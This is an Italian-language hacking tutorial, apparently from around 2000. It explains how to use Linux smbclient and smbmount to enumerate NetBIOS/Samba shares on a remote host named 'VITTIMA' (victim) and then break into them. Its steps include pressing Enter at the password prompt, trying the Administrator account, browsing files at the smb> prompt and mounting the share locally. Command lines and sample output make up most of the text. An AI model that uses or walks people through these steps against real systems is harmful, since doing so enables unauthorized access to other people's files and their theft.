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Molti avranno
già sperimentato il netbios hacking da Windows utilizzando
netstat. Qui viene illustrato come la stessa tecnica può essere utilizzata
anche con Linux; si deve sapere inoltre che la condivisione di risorse tramite
netbios (la famosa porta 139) non è una caratteristica dei sistemi Microsoft:
anche Unix permette lo stesso tipo di servizio tramite Samba server.
Per accedere ai servizi netbios sotto Linux occorre il Samba client (smbclient),
che molto probabilmente troverete nella vostra distribuzione. Eseguendo
smbclient senza argomenti viene mostrata la lista delle opzioni:
Usage:
smbclient service <password> [-p port] [-d debuglevel] [-l log]
Version 1.9.17p4
-p port listen on the specified port
-d debuglevel set the debuglevel
-l log basename. Basename for log/debug files
-n netbios name. Use this name as my netbios name
-N don't ask for a password
-P connect to service as a printer
-M host send a winpopup message to the host
-m max protocol set the max protocol level
-L host get a list of shares available on a host
-I dest IP use this IP to connect to
-E write messages to stderr instead of stdout
-U username set the network username
-W workgroup set the workgroup name
-c command string execute semicolon separated commands
-T<c|x>IXgbNa command line tar
-D directory start from directory
A noi
interessa l'opzione -L
smbclient -L
"nome_host_dns"
(per nome_host_dns si intende il nome dell'host tipo www.pippo.com)
Questo
comando mostra le eventuali risorse che il sistema remoto mette a disposizione:
Added interface ip=192.168.0.2 bcast=192.168.0.255
nmask=255.255.255.0
Unknown socket option TCP_NODELAY
Server time is Tue Jan 27 22:54:18 2000
Timezone is UTC+1.0
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4]
connected as guest security=user
Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]
Sharename
Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba 1.9.17p4)
X Disk "Directory condivisa"
This machine
has a browse list:
Server
Comment
--------- -------
VITTIMA Samba 1.9.17p4
This machine has a workgroup list:
Workgroup
Master
--------- -------
OTHERGROUP OTHER
WORKGROUP VITTIMA
Ora possiamo accedere. Come? Ancora con smbclient. Vediamo:
smbclient
\\\\VITTIMA\\X -I ip_vittima
Dove
ip_vittima è l'ip che avrete ottenuto con il lookup del nome_host_dns. Talvolta
appare la richiesta di una password: normalmente basta battere invio per
ottenere l'accesso; se questo non dovesse funzionare, si può tentare di entrare
specificando l'account con l'opzione -U
smbclient
\\\\VITTIMA\\X -I ip_vittima -U Administrator
battendo
sempre invio all'eventuale richiesta di password. Una volta entrati vi troverete
di fronte a un prompt del tipo
smb>
e potrete
interagire con il server più o meno come si farebbe con ftp. Con ? si ottiene
la lista dei comandi:
smb: \> ?
ls dir lcd cd pwd
get mget put mput rename
more mask del rm mkdir
md rmdir rd pq prompt
recurse translate lowercase print printmode
queue qinfo cancel quit q
exit newer archive tar blocksize
tarmode setmode help ? !
è possibile
anche montare la diretory remota come si fa con il NFS che abbiamo visto prima:
però invece di usare mount si usa smbmount:
smbmount
//VITTIMA/X /mnt -I <ip_vittima>
Per poter
montare il SMB file system ci si deve assicurare che il proprio kernel lo
supporti; in caso contrario sarà necessario ricompiarlo includendo questa
caratteristica.
Una volta montata la directory remota, si potranno usare i comandi Unix come nel
caso del NFS.
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